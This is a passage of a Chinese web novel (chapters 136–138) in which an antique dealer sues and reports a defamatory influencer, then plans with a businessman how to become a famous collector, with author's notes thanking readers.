不管是小混混堵店门，还是借舆论泼脏水，果然和他们脱不开关系。 那句话怎么说来着，50%的利润就有人敢冒风险，帝王绿珠链到他们手里远不止50%利润，难怪缠着她不放。 一次两次，萧妧妧又不是泥人，任人欺负。 之前不清楚对面底细，保守应对，现在找到了目标，萧妧妧可就要撸袖子了。 “哦。”她冷淡回应，并不在乎的样子。 赵老板仔细盯了她片刻，久等不到下文，他急促追问：“……你没什么要说的？” 萧妧妧无所谓的耸肩。 赵老板气个倒仰，一拳头打在棉花上的无力感蔓延。 她是不是傻了？分不清形势吗？ 赵老板又破防了，但很快冷静下来。 萧妧妧反应过于淡定，有恃无恐的意思，难不成有其他手段？还是背后果真有人？ 赵老板拿不准尺度，想继续试探，萧妧妧根本不接话茬，直接走到门边，做出请读作滚的手势。 “今天有贵客上门，不便招待，赵老板请回吧。” 赵老板气得胸口起伏，咬牙切齿的说：“看来萧老板有法子了，希望别闹得太难看，这么好的铺子，可要长久经营下去才对。” 萧妧妧连眼神都懒得飘过去，赵老板迈出门槛瞬间，“砰”一声甩上门。 回到古董铺，马上拿出手机。 改主意了，她决定接受黎行聿的好意，联系外号“必胜客”的超强律师团队。 萧妧妧不仅要那个打假博主赔个掉底，还要赔得他卖房卖车卖裤衩，评论区煽风点火的网友一个不放过，告！ 不止博主，连今天上门的什么赵老板张股东，萧妧妧也不打算轻松放过。 工作量大，幸好黎行聿介绍的是一个团队，她自己联系的小律师恐怕忙不过来。 等律师上门的工夫，萧妧妧没闲着，转头亲亲热热的联系高鹭。 【作者有话说】 先发后改。 明天的更新可能要晚点[亲亲] 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“浮生若梦”,灌溉营养液 +10 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 136 第136章 ◎得理凭什么饶人？◎ “萧小姐,您确定吗？” 隔了数日，再次出现在茶室包间里谈事，全然是另一幅状况。 左手边依然是黎行聿，萧妧妧在他旁边落座,两人对面是南市知名律所的大律师陈以南以及他的助理们。 萧妧妧接受到陈律师讶然的询问视线,笃定点头。 “我坚持我的诉求。”萧妧妧停顿一会,问：“陈律师认为我的诉求太难？还是根本不可能实现？” 萧妧妧想了想,应该不至于，她提前做过功课,了解过相关案例，这才大胆提。 她的诉求很简单,道歉，赔钱。 起初以为是招摇撞骗想要从她手里套点钱,经济环境不好，什么牛鬼蛇神都想扑上来吸一口血。 萧妧妧势单力薄,无疑是那颗软柿子。 她最初只想要一个真相,事情闹大了最好,赔偿顺带要点,意思意思,道歉必须置顶一年。 得知背后是赵老板下的连环套，给她做局，萧妧妧的火气一下子冲上头。 赔钱，往死里赔！让他以后每赚到一笔钱都要后悔自己的所作所为。 道歉,全网多平台发布，全方位社死。 “所谓打假曝光视频严重损害您店铺的信誉名誉,影响店铺销售,根据您的录音来看,对方可能涉嫌不正当竞争，当然，这部分需要补充证据。 同时，大量在网络传播的造谣视频，对即将合作的文创开发造成负面影响，损失无法预估。 目前来说，萧小姐的诉求不难，只是……” 只是什么，萧妧妧思考片刻，很快明白过来。 “陈律师认为我要得太多？” 按照以往的例子，对造谣者的处罚可达上百万，因为其中可能涉及不正当竞争，综合法律条例考虑，处罚金额上限可达500万。 当然，具体赔偿金额要根据损失来评定，目前没听说有谁被判罚500万的。 为此，萧妧妧在等律师的工夫，顺带整理了古董铺开业以来的营业额，账单明细。 上不了台面的不提了，只那几个正规流程售卖的物品，价值上亿。 如果眼前的陈律师果真百战百胜，以他的胜率来说，萧妧妧只要拿出损害后果证明，博主的赔偿金额不会低于两百万。 任谁看到店铺流水都不会觉得200万多。 “胜诉的话，萧小姐您可能会因为赔偿金额陷入另一波舆论，这对您和您的事业可能不利。”陈律师委婉的说。 不提博主能不能赔得起200万，能赔最好，赔不起，人家网上卖卖惨，风向马上就变了。 什么得理不饶人，甚至受害者有罪，没人能保证舆论会往哪个方向发展。 不是熟人介绍陈律师不会提那么多，更不会管什么舆论，收集材料打就是了。 偏偏她是黎行聿介绍来的，陈律师要考虑到客户可能面对的结果。 萧妧妧不解：“那不是更好？既能澄清真相，又能因为过高的赔偿金给大家敲一个警钟。 如果说网友会对高额赔偿感兴趣，继而关注事件本身，不就等于从另一个阶段得知真相，变相辟谣吗？ 没理我都要闹，得理凭什么饶人？ 陈律师，我不改变诉求，网上的人对我怎么评价，我无所谓。” 古董铺的客户群体大多上了年纪，他们浸淫古董收藏圈多年，有自己的评判标准和喜好，分辨得出好坏，算半个专业人士，且平时很少关注网络上的消息。 萧妧妧可以坦白的说，网上舆论的影响或许有，但没那么大。 比如今天闹上热搜这件事，前来询问关心的多是年轻人，如韩祺、许年华和高鹭。 而在网络上活跃的网友，以她目前经验来看，多半不会成为古董铺的目标客户。 说难听点，又不是给她花钱的财神爷，管他们说什么。 都能像孟有树一样进店挥金如土，萧妧妧倒可以在意一下。 闻言，陈律师微微愣住，视线不自觉挪到黎行聿身上。 “难怪你们能做朋友。”迎着萧妧妧困惑的目光，陈律师笑着道：“我们以前合作过几次，我经常劝callum考虑一下自己的名声，他的回答，和你差不多。” Callum……说的是黎行聿？ “怎么听起来，他名声很差似的。” 萧妧妧诧异扭头，看向左侧的身影。 黎行聿心情挺不错的样子，端起茶杯抿了一口，没应声。 转念一想也对，慈不掌兵义不掌财，管理一个庞大的集团，能善到哪去？ 萧妧妧的目光逐渐古怪，黎行聿不得不放下茶杯，为自己正名：“别听他瞎说，我只是在争取一个普通公民的合法权益。” 萧妧妧本来没那么好奇的，闻言，越发想知道他怎么“争取”的权益。 但是当下重点不在于此，萧妧妧按下好奇心，在陈律师的指导下搜集证据，和博主玉哥联系（套话）。 正好热搜在网上挂了小半天，热度如她所想，还不错。 于是，萧妧妧趁着热度在，先后发布了平安扣高清视频照片，连国内三大权威机构的鉴定证书一起发出去。 有视频在，东西是真是假，懂行的网友能看出来，再发布监控片段，记录博主拿起平安扣前后的内容，两者对比，大家心里该有个评判了。 果然，几条视频发布出去，博主的一面之词遭到反驳，事件双方有来有回，激起了网友吃瓜兴趣。 有请人看货的，有请人辨别证书的，更有人逐帧分析起博主的切片视频。 随后律师函一发，明确表示不仅要告博主，连带评论区造谣的网友一起告，博主那边不吱声了，已读私信半小时没个回应。 或许萧妧妧一连串的回应足够强势，给了一部分网友信心，言论慢慢倒向她。 “还不够。” 萧妧妧刷了半天评论区，嘴角上扬，忍不住半场开香槟的时候，黎行聿一把夺走香槟并给了她一盆冷水。 大家齐齐望过去，等黎行聿下文。 “南市正在开展打击整治网络造谣的专项行动。”黎行聿眉梢轻挑。 “报警！”萧妧妧瞬间意会，举手抢答。 陈律师抽了抽嘴角，目光来回在两人身上转圈。 “以目前热度来说，警方很有可能会把这件案子当成典型。”陈律师的助理飞快敲击键盘，了解专项行动进展后，如是汇报。 陈律师总结：“真查出点什么，封号退网算轻了。” 萧妧妧来劲了，唰一下抢回手机，拨打110。 黎行聿眼底的愉悦无法掩饰，轻笑一声，垂眸端起茶杯。 陈律师无奈摇头，侧身交代助理注意网上动静。 茶室包间里，碧螺春的清香缓缓流淌，十人位的茶桌变成了会议桌，笔记本、文件占据大半位置，此起彼伏的严肃讨论充斥整个包间。 环顾一圈，反倒是大忙人黎行聿最悠闲。 一向挺拔的脊背懒散后仰，轻靠身后软垫，骨节分明的手托住茶盏，另一只手松松圈起青瓷茶杯，心不在焉地把玩，茶水沿着杯口微晃，映出窗外满目绿荫。 他的目光直直穿过雕花窗棂，落在茶室庭院里，追随在萧妧妧左右。 萧妧妧举着手机贴在耳畔，一会皱眉一会鼓脸，来回踱步间，洞洞鞋碾过青石板上的绿绒毛，格叽格叽响，打破了庭院的雅致氛围。 “……callum？黎行聿！”陈律师提高音调。 “我能听见，什么事？” 黎行聿收回目光，笑意收敛，懒洋洋应声。 “没什么，晚上出去喝两杯？”陈律师偏头看一眼庭院，又看向黎行聿：“你只说是帮朋友的忙，可没说过……” “咳咳！” 陈律师想说什么，黎行聿忽然一阵轻咳打断，他还想再说几句，没等开口，就发现萧妧妧推开玻璃门走了进来。 陈律师默了默，多看一眼黎行聿，不一会，目光又挪回萧妧妧身上，眼珠子一转，像是发现了什么，双眼倏然瞪圆。 “陈律师为什么这么看我？” 萧妧妧想到报警以后，博主会因此封号，浑身舒坦，脚步轻快的回到包间。 一进门，她便注意到陈律师看过来的震惊目光。 萧妧妧低头检查一遍，除了穿着有点过于随性，没有不妥。 “没什么。”陈律师掩饰性地端起茶杯，闷头喝茶。 萧妧妧挠挠头，茫然极了，扭身去看黎行聿，恰好对上他的视线，于是冲他憨笑一声。 黎行聿弯起唇角，拍拍身边座椅，示意她坐过去，萧妧妧眨着亮晶晶的大眼睛，乖巧凑近。 “万能的黎总还有别的招帮我争取合法权益吗？” 瓷白脸蛋凑到身侧，微仰起头，露出一脸讨好的笑容。 黎行聿强忍摸她后脑勺的冲动，脊背后仰几寸，彻底靠在椅背上，拉开距离。 “万能的黎总也没招了，只想起来一个帮你打开知名度的办法。” 萧妧妧歪头，满脸费解：“我要知名度做什么？” 黎行聿只说了一个词：“溢价。” 萧妧妧反应了几秒，不等黎行聿深入解释，脱口而出道：“你是说藏家知名度！” 黎行聿点头，回以赞赏的眼神。 同一件藏品，比起普通藏家，知名藏家的送拍，拍卖价可以翻倍。 少则一倍两倍，多则十倍百倍。 萧妧妧一直知道这事，所以才对专场拍卖拿不准主意。 她名气不够，会连累送拍藏品卖不出应有的价格，所以她才想着拿顶级好货冲一把，打响名号。 比如朱可心紫砂壶，比如整套帝王紫。 要么闯出名堂，要么连累它们无人问津。 只要她在细分的赛道里打响名头，别人一听萧妧妧三个字，不用思考就知道她手里的翡翠、家具或者瓷器，随便哪一类，肯定是好货。 到那时，萧妧妧才算得上真正的知名藏家。 换一种说法，相当于打造个人IP。 萧妧妧拖着椅子过来，凑得更近了，黝黑眼眸瞬间燃起小火苗，灼灼盯住黎行聿。 “你有办法？” 【作者有话说】 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“27023760”,灌溉营养液 +1 137 第137章 ◎博爱的收藏家◎ 不怪萧妧妧激动,机会太难得了。 从许年华那里听说有单一藏家专拍项目，萧妧妧回去后自己查了资料。 小助理说的没错，确实是拍卖常见形式，尤其几位有名气的藏家,举办专场拍卖的高溢价简直让她眼红。 为什么同一件东西,普通藏家和知名藏家之间价格差异大得惊人,形成原因太多了。 一是藏品来源有保障,传承链清晰而完整。 试想一下，某个细分领域的知名收藏家,本身有一定的鉴别能力，购入某件古董前聘请专家顾问鉴定过真假,是不是听起来就很有保障？ 现实数据也证明了这一点，佳博每年战报显示,名家珍藏的真伪纠纷率不到1%，来自民间藏家的艺术品真伪纠纷率达到了20%。 谁都不想当傻子,买古董当然首先考虑真假问题,才能谈其他。 二是名气,从知名藏家手里购入,说出去有面子有价值,轻易得到圈子里的人认可、追捧。 如果再告诉收藏爱好者们，这件有保障的真古董曾经被某位大人物、史书记载的人物、社会名流拥有过，并且有传承证明，是不是更有吸引力了？ 名家珍藏,相当于一份背书。 三是名家珍藏有硬通货属性。 名家珍藏的艺术品流通性远高于民间普通藏家，专场成交率更是断层领先。 价格不用说了,可以预见的高,,这些有各大拍卖行真实数据记录，做不了假。 哪怕拿去银行质押，名家旧藏的授信额度也远高于普通藏家。 要知道，拍卖行是不对送拍的艺术品进行真伪判定以及负责的，他们所提供的鉴定更多是对艺术品进行评估，以及判断是否符合拍卖主题，少数讲究信誉的拍卖行可能会在鉴定缓解拦下假货。 萧妧妧能快速通过拍卖行鉴定知道东西真假，其实是走了后门，有许年华这个人脉在。 大多数藏家在决定要不要拍下某件古董、艺术品时，要么自己有足够的专业知识来辨别，要么聘请有足够专业知识的专家顾问鉴定，要么考察艺术品的来源，看艺术品的传承记录，交易情况。 即便如此，也不能完全保证能避免买到假货。 名家珍藏完美解决了收藏爱好者的疑虑，自然而然，打着名家旗号，所谓的珍藏旧藏就卖出了普通藏家触摸不到的高溢价。 萧妧妧现在只是一个普通古董商，也可以厚脸皮说自己是个古董收藏爱好者，处于民间普通藏家级别，在圈子里毫无名气可言。 高鹭是家喻户晓的女演员，沉迷翡翠后，豪掷千金买翡翠的事传得圈内圈外皆知，并且她的眼光得到了许多专业人士的认可。 多种因素下，高鹭在翡翠领域，完全可以说是名家，她手里的翡翠，说是名家珍藏不算夸张。 萧妧妧想了想，想达到和高鹭差不多的高度，太难了。 成为知名收藏家，不止投入的金钱多，还要善于经营人脉，同时参与资本运作中，太难了！ 谁能想到，混古董收藏圈也要学会包装营销立人设。 萧妧妧做好准备一步步慢慢来的时候，黎行聿突然告诉她有捷径，像是一个幽闭空间里打开一扇窗，萧妧妧感觉天都亮了。 “成为知名藏家的路可以复制，以你现在的条件，并不难。”黎行聿说。 萧妧妧双眼发直，充满了茫然。 她现在是什么条件？他说的不难，和她理解的不难是一个级别吗？ “对面视频下架了，”助理突然出声提醒：“评论区有人带节奏，说是萧小姐举报的，博主在旧视频评论区坚称自己没有造谣，愿意对峙。” 萧妧妧想深入话题，助理出声打断，她意识到现在不是说这个的时候。 “晚点再说，先解决眼前事。”黎行聿轻拍她后脑勺。 萧妧妧心里记挂许多事，一时没能察觉，应一声好，转过头与陈律师继续讨论。 陈律师对贼喊捉贼这一招并不意外，让助理留存证据，同时安排同事准备走流程起诉平台，拿到博主以及带节奏网友的联络信息。 萧妧妧接着和博主对话，然而评论区嚷嚷着愿意对峙的人，私信根本已读不回 好在这时警察来了，受理她的报案。 如助理律师所言，因为网上转赞评数据持续上升，事件登上热搜，萧妧妧报警后迅速立案，随后展开调查。 一拿到立案回执，马不停蹄发到网上，这时候，博主玉哥肉眼可见的慌了，失明已久的眼睛终于复明，嘴硬质问萧妧妧想做什么。 萧妧妧冷笑一声，留下已读两个系统，晾着他。 博主晾了她两个小时，她决定晾回去，四小时起步。 案件有警察调查，博主有陈律师负责收集材料起诉，萧妧妧没什么可做的，送走所有人后，拉着黎行聿回去了解怎么成为知名藏家。 傍晚188号格外热闹，申明月一手大西瓜，一手大勺子，狼吞虎咽。 柳如烟背着申明月，撅着嘴，侧躺在沙发上看短剧， 孟甜甜蹲在树下，忙着给菜种子育苗。 意外的是，苏娇娇也来了，穿着素雅旗袍，手里拿着蒲扇轻摇，俯身看孟甜甜如何育苗。 萧妧妧急吼吼抓着黎行聿手腕闯进来，一跨过门槛，对上大家看来的视线，她瞬间僵在原地，下意识撒开了手。 黎行聿察觉到手腕热源离开，睫毛轻颤，说不出的失望。 抬眸，看到满院子的人，他错愕愣住。 正面碰上，不介绍说不过去，介绍吧，担心引发其他问题。 “我朋友，黎行聿，过来商量点事，”萧妧妧飞快说完，侧身对黎行聿介绍：“她们都是我认识很久的朋友，也是我的大客户，店里古董翡翠大多从她们手里收来的。” 双方打量了一阵，友好点头算是打招呼。 萧妧妧扛不住几个女人八卦的目光，瞪了她们几眼，推着黎行聿去古董铺。 泡茶斟茶的时候，余光瞄到外面几人时不时在古董铺门口走动，借机吃瓜，萧妧妧说了声抱歉，啪嗒一声，关上雕花门。 黎行聿微微笑，不着痕迹地探听：“龙傲天也是你朋友？” 话题转化得突兀，萧妧妧一时没转过弯来，他怎么知道龙傲天的？ “在玉瓶和玉雕金蝉的流传记录里见到过。” 萧妧妧恍然，不以为意道：“勉强算吧，你对他感兴趣？” “名字有意思，听起来像年轻人，但是他的收藏又给我一种上了年纪的感觉。” 比如玉雕金蝉，一般不太受年轻人青睐，年轻的翡翠玩家喜欢…… 黎行聿目光倏地落在柜台里纯金打造的史努比，忍俊不禁。 翡翠史努比、翡翠哆啦A梦、表情包无事牌、纯金奥特曼……年轻人尤其喜欢这类稀奇古怪的雕件。 比如萧妧妧。 萧妧妧挠头，不确定的说：“应该不年轻了吧？老婆孩子都有了，少说三十岁？” 她还真没关心过龙傲天的年纪，反正不是重点，萧妧妧随口提两句，正襟危坐等待黎行聿教她如何走捷径。 黎行聿多看她一眼，满脸求知欲，清澈明亮的狐狸眼装满了他的影子。 今天的六安瓜片有点甜，黎行聿垂眸，不自觉捧起茶杯抵在唇边。 “等等！刚泡开。” 热腾腾的茶也不怕烫着，萧妧妧赶忙出声提醒。 黎行聿霎时僵住，停顿了几秒，若无其事地放下茶杯，清清嗓子，转移话题。 “说到哪里了？” 萧妧妧立刻接话，苦恼道：“你说以我现在的条件不难，可我根本不知道自己有什么条件。” 黎行聿没有直接回答，循循善诱：“你认为，进阶为知名收藏家，有哪些要达到的条件？” 她抿紧唇角，垂眸思索。 以萧妧妧短暂接触的收藏家们为例，最必要的条件，必须有钱。 比如张老板，纯有钱，但他还不算名家。 其他的话，比如高鹭，有名气，有曝光，有眼光。 比如孟有树，有资本，有家学渊源。 又比如韩教授，有学术成就加持，有社会地位，比普通藏家好不少，但也算不上名家。 老傅教授要好不少，有专业背景，有社会地位，也有钱玩收藏，有自己的圈层，可惜差了点名气，仍旧算不上知名藏家。 总结归纳一番，萧妧妧掰指头盘算：“有权威性，比如业内专家教授。有名气或者地位，比如一些社会名流之类的。再就是，资本运作？” 说完，萧妧妧歪头看黎行聿，等他的正确答案。 “差不多。”黎行聿缓慢点头，认可了她的回答。 萧妧妧松了一口气，随即眉头一皱。 “这么说来，我分明差很多。” 何止差很多，根本没一个沾边的，亏她着急忙慌追着人问东问西，萧妧妧不禁面露尴尬， “你太小看自己了，你捐过史料和古籍，因此上过热搜，关注度不低。 不出意外，你收藏的头冠会在南市博物馆展出，还有文创IP开发。 这两者间接为你竖立了IP，并且在大众层面留下深刻印象。 这次平安扣真假事件，在别人看来是无妄之灾，换一个角度，为什么不能把它变成争议性事件的营销？ 以此为基础，再做一些公共捐赠，无论是博物馆图书馆研究所，都能够加强IP。 更进一步，在相关专业院校等机构设立专项研究的奖学金，拥有话语权，也不是难事。” 萧妧妧眼珠子一转，语气急促接话：“这些，对应的是曝光与知名度！” 原来不知不觉间，她的人设已经立起来了。 黎行聿点头。 “可是……我不是专业人士，权威性从何说起？” 真要说起来，萧妧妧对权威性这一点最矛盾。 首先东西是真的，这一点足够权威，但是外人不知道啊，怎么让外人相信她的权威，她毫无头绪。 “让其他人认可你的专业性说容易也容易，说难也难，最关键的一点是东西本身。”在萧妧妧期待的目光中，黎行聿缓缓道：“选定领域深耕，再有几件高辨识度的藏品，参与国家藏品评级，最后，加入收藏家协会。” 说到高辨识度藏品，萧妧妧有种脑子开窍的玄妙感。 “高辨识度是个大概念，继续拆分，可以体现为一件古董的珍贵性、研究价值、特殊造型，甚至是它的艺术性。” 这一瞬间，萧妧妧冒出来许多念头，脑子快炸了。 黎行聿停顿一会，又道：“比如你的头冠系列。曝光足够，有辨识度，博物馆借展算权威认证，已经满足了两个条件，从它入手可行性非常高。” 萧妧妧不甘心的嘟囔：“可是它们卖不出高价……” 她想闯的赛道挤满了人，比如翡翠，这是萧妧妧深思熟虑后的选择。 古董来源全靠苏娇娇，还能找到多少好东西不好讲，看运气，这个来源被萧妧妧打上“不稳定”标签。 翡翠、彩宝、家具这三类非常稳定，且数量很可观，可观到泛滥，有申明月、柳如烟、爱丽丝、龙傲天四个供货商。 和翡翠彩宝比，古董家具算小众赛道，萧妧妧查过成交量和交易额，不太满意。 小众说明玩得人少，玩得人少说明可能砸手里，不行。 只有翡翠、彩宝符合萧妧妧的需求。 品质好，数量多，供货稳定，即便是在热门赛道也有非常可怕的竞争力。 再想到彩宝已经走上人工培育的阶段，萧妧妧总有些多虑，最终把目标放在了翡翠玉石上。 可真要说起来，萧妧妧有一屋子*的真古董、高品质翡翠，并不满足只往一个赛道挤。 “那就不做选择题，多管齐下，成为一个全门类的知名藏家。” 将萧妧妧的纠结看在眼里，黎行聿毫不犹豫给出新方向。 萧妧妧：“博爱的收藏家！” 有人收藏古董家具，有人收藏古籍字画，有人收藏古墨砚台，萧妧妧也可以给自己立人设——博爱（肤浅）的收藏家。 只收藏价值千万以上的古董珍宝，不限门类。 萧妧妧坐不住了，叉着腰来回踱步。 “资本运作更简单，成立SPV公司发行私募基金、加入俱乐部……有很多办法。” 萧妧妧听着听着眼睛发直，停下脚步愣愣望着他，“……没听懂。” 黎行聿轻笑：“你只需要告诉我，想还是不想。” 萧妧妧心头一颤，瞳孔骤缩。 看出她的迟疑，黎行聿补充道：“前两点任意一点做到极致，资本运作也不见得必需，时机成熟再考虑不迟。” 萧妧妧哪懂什么资本运作，她怕玩不转资本，更怕被资本玩弄。 至于如何把前两点做到最大化，反倒有点想法。 虽然很心动，但深思熟虑后，萧妧妧老老实实摇头否定了。 黎行聿尊重她的决定，抿一口茶，慢悠悠开口。 “那么，博爱的收藏家萧小姐，想不想听听我的加强个人标签的建议？” 【作者有话说】 感谢读者“清若”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“momo”,灌溉营养液 +1 138 第138章 ◎用钱砸◎ “我知道我知道,你先听我说。” 萧妧妧早在听他提起公共捐赠几个字就有了想法，再结合从许年华那里听到的瓜，一连串的灵感止不住往外冒。 她得意举手抢答，大有不让她说下去就敢扑过来捂嘴的架势,黎行聿见状笑了笑,抬手示意她先说。 萧妧妧清清嗓子,朗声道：“简单来说,用钱砸。” 说完，她特意瞄了黎行聿一眼,看他面上兴趣盎然，没有反驳或纠正的意思。 萧妧妧大着胆子说：“比如去公盘拍下标王,大材小用，随便做成稀奇古怪或者足够惊艳的作品。另一个办法有些类似,去国外拍卖行高价买下一件文物，无偿捐赠给博物馆。” 前者可以在翡翠圈子里留下她的传说,后者可以在社会层面打造她的个人IP。 成为知名藏家不是一朝一夕的事,短则四五年,长则数十年,不止时间,更重要的是机遇。 萧妧妧想早点混出名堂，只有用钱砸这一招。 黎行聿说过，成为知名藏家的路可以复制，萧妧妧想到那些企业家、收藏家曾经玩过的手段,无比认同他的话。 新闻上搜吧，她举例的两个方法早有人实践,不管人家求什么,反正名利到手。 萧妧妧啧啧两声,果然是氪金玩法最爽。 黎行聿目光灼灼，“萧小姐的想法很有见地。” 萧妧妧听到表扬声，头颅高昂：“嘿嘿，立人设就得立稳点，只用这两招目的明显。我觉得可以从国内外的重要拍卖会开始，先拍个几件重量级艺术品。” 重量级艺术品古董或者珠宝，少说千万级别，上亿不过寻常。 萧妧妧刚刚还得意，一想到自己只有五千万的存款，其中三千万要预留投资电影，笑容垮了。 有钱，但还没有钱到那个份上。 如果按照自己的想法打造出一个不差钱的土豪收藏家，萧妧妧要砸的不是几亿，而是十几亿。 “心急吃不了热豆腐，何况稀世珍宝也不是每年都会出现在拍卖行。” 前一秒摩拳擦掌跃跃欲试，后一秒打起退堂鼓，黎行聿见状温声安慰。 萧妧妧叹气，道理她懂，就是有点茫然，砸十几亿值得吗？ 她宁愿那这些钱去投资，钱生钱，只有钱多得用不完的时候，才会考虑要不要拍下那些昂贵的物件。 “砸钱是其中一个办法，不过另一个办法可能更适合你。”听完她的纠结，黎行聿沉吟片刻回答。 萧妧妧一听还有别的法子，眨巴眼睛望向他。 黎行聿忽然起了逗弄的心思，不急不缓喝茶，淡定环顾古董铺。 萧妧妧耐心等了一会，半天不见他继续说下去，猜到他在卖关子，立刻没了耐心，眼巴巴凑过去，故作谄媚地垂肩。 “黎总您请说，小的洗耳恭听。” 黎行聿微微僵住，余光斜睨过去，是萧妧妧温柔甜美的笑脸。 目光停顿片刻迟滞移开，微垂下头，以拳抵唇掩饰自己的慌张。 “任何行业做到顶端，转型闯其他赛道，原先的专业背景都能带来显著加持，成为打入另一个圈层的名片，甚至一举进入核心。 你的古董生意做得有声有色，大可以继续发展下去，知名古董商兼收藏家，听起来并不冲突，甚至因为古董商的身份，你的专业性也会得到认可。 之前提过的藏品评级、加入协会俱乐部，包括活跃于拍卖会，都可以同步进行，并不是非此即彼的关系。 我记得你对投资有兴趣，其实当你在投资方面拿出一份出色履历，对你的知名收藏家头衔同样有加持。” 黎行聿一长串话说完，萧妧妧犹如醍醐灌顶，原地顿悟。 她马上产生了对应的联想，不假思索道：“金玉轩！” 黎行聿挑眉，意外她会想起这个行业标杆。 “金玉轩的情况正相反，它创立百年，最初的创始人是小有名气的收藏家，后来开设了金玉轩，他在收藏圈的名气反哺古董生意，一代代传下来。 直到萧阿姨这一代，靠着累积的名声和家学传承，即便……也能屹立不倒。” 即便什么，黎行聿含糊停顿，跳过不提。 萧妧妧没追问，而是思考有哪些可以借鉴的地方。 大约是心态没能转变过来，萧妧妧一直把古董生意当做变现手段。 她努力和前来消费的收藏家们拉关系，考虑到的是如何把更多货卖出去，倒没想过要闯进圈子摇身一变成为知名收藏家，再反过来影响古董生意。 黎行聿这一番话来得及时，打通了任督二脉，萧妧妧有了更远大的目标。 “听君一席话胜读985211本硕博，”萧妧妧以茶代酒，轻碰黎行聿的茶杯，自己一口闷了，“果然是这个办法更适合我。” 灵动表情使得整张脸明媚灿烂，黎行聿缓慢端起茶杯，将剩下的半杯茶水饮尽。 萧妧妧还有些问题，意外发现打在桌面的灯光渐渐变成暖黄，猛地扭头，这才注意到外面天色擦黑。 “抱歉，耽误你一天时间了，”聊得上头，萧妧妧忘记面前坐着的是个大忙人，一天会议能排满的那种。 想起谈话过程中，黎行聿挂断了几次电话，歉疚感迟钝生出，萧妧妧眼睫微垂，一副忏悔模样。 “临近月末，都是各部门总结报告会议，不重要。” 不重要也不行，到底耽误了他一天时间，萧妧妧连声道歉外加感谢。 陈律师是黎行聿介绍，不仅靠谱还特别负责，助理、律师的活全包了，根本用不着她费心费力，萧妧妧想来想去，必需表示一下。 至于怎么表示，萧妧妧暂时没头绪，先约了一家餐厅请他吃晚饭。 黎行聿趁机回复短消息，爽快应下。 萧妧妧拉开门，抬起的脚迟迟落不下去。 门槛外的狭长的走廊，四颗脑袋挨挨挤挤，耳朵贴在门上，因为听不到声音，几人嘟嘟囔囔，完全没注意到古董铺的雕花门已然打开。 黎行聿偏头看向身侧气鼓鼓的脸蛋，眼底浮现隐秘的愉悦：“……她们是不是误会了什么？” 萧妧妧连连摆手辩解：“不会不会，她们平时很有分寸的。” 萧妧妧“咳咳”两声，吸引她们注意。 果然，门边四人听到动静，霎时间僵住，不约而同地起身，缓缓侧过脸。 苏娇娇尴尬微笑，申明月心虚低头，孟甜甜和柳如烟毫无自觉，反而盯着黎行聿不放，一个目光充满审视评估，一个则是纯粹的好奇。 黎行聿保持温和微笑，硬着头皮由四人或隐晦或明目张胆的审视。 孟甜甜率先开口，假装偷听的事不存在，问：“晚饭已经送来了，要不要留下一起吃？” 萧妧妧心口一跳，根本不敢答应。 怕她们口无遮拦，万一让黎行聿听出问题她没办法解释。 萧妧妧急匆匆拉上黎行聿，逃似的出门：“你们吃吧，千万别管我们。” 四人看着萧妧妧灰溜溜的身影，齐齐露出别有深意的笑容，双手环胸。 离开188号院子，萧妧妧就当那四人没出现过，绝口不提她们，也希望黎行聿别过度关注。 萧妧妧疑惑的事情在晚饭中得到了答案，她稍一思索，便想好了后续安排。 生意继续做，不能是小打小闹的变现，而是上点真宝贝，惊艳众人。 同时她的投资也不能停，一是投资赚钱快，二是投资人的名头很有用。 再就是关于砸钱出风头的事，倒不必急吼吼砸十几亿，完全可以慢慢来，有看得上的就去拍卖行露露脸，没有就送几个宝贝去拍卖行在大家面前混个眼熟。 黎行聿的建议她几乎可以照着做，比如加入收藏家协会、藏品评级。 加入协会需两名会员引荐，黎行聿答应帮忙解决，萧妧妧要做的只有提供一张漂亮的两寸照片。 在黎行聿的引导下梳理一遍，萧妧妧发现她未来十年的规划都有了清晰的脉络。 “希望三十岁的我顺利成为知名收藏家。” 萧妧妧双手合十，虔诚的冲着黎行聿许愿。 求神拜佛不如抱大腿，黎行聿的大腿可太香了。 萧妧妧心潮澎湃，不敢想那时候的自己得有多快乐。 说得庸俗点，只要按照计划一步步来，她迟早跨上另一个阶层，并站稳脚跟。 打破阶层桎梏，跨越到更高阶层，这本身就不是一件易事，运气机遇与实力缺一不可。 萧妧妧越是回味，越是觉得自己走上了坦途。 她的未来是确定的，甚至说跨越阶层也是稳妥的，比大多数看不见前路的人多了一份珍贵的确定性。 晃动的烛火里，明媚脸蛋低垂，萧妧妧晃动合十手掌，嘴里念念有词。 黎行聿哭笑不得，等她睁开眼，举起香槟：“祝萧老板愿望早日实现。” 萧妧妧就喜欢听这种好听话，跟着举起高脚杯送过去轻捧。 好巧不巧，“叮”一声脆响，“砰砰”声接连响起。 犹如画布倒映城市夜景的落地大窗瞬间被照亮，由远及近燃放的烟火从画布边沿渐渐占据视觉中心位置。 绽放的花火与闪烁的城市霓虹灯相映成趣，背后乐队演奏的不知名乐曲突然有了灵魂，美好的瞬间深深印刻在脑海里。 萧妧妧惊艳了许久，扭头撞进黎行聿的眼底，兴奋地说：“这也太巧了，该不会连老天都在暗示我愿望能成真吧？” 越想，萧妧妧越觉得是这么一回事。 别看今天上了个负面热搜，但也是个难得机会，尤其黎行聿关于知名藏家的规划，简直说到她的心坎里。 晚上的运气更是爆棚，想订的餐厅爆满，商家为表歉意帮忙升级，预约到同公司旗下另一家高档餐厅。 不仅用餐环境极佳，还看到了每月一次的城市烟花秀。 接连的好运怎么不算一种暗示呢。 黎行聿：“我以为这算明示。” 萧妧妧顿时眉开眼笑。 直到晚上躺在床上，她仍旧回味这份快乐，连爸妈商量买什么颜色的蕾丝防尘罩也没打破她的好心情。 萧妧妧没想到的是，第二天还有一个好消息等着她。 陈律师说得对，舆论不可控，打脸来得猝不及防又莫名其妙。 果然不能小看网友的吃瓜水平。 【作者有话说】 刚码完，看不出错别字，先发后改 感谢读者“我走在烛上”,灌溉营养液 +32 感谢读者“月沐纹”,灌溉营养液 +10 感谢读者“浮生若梦”,灌溉营养液 +10 感谢读者“虫子太多好可怕”,灌溉营养液 +1 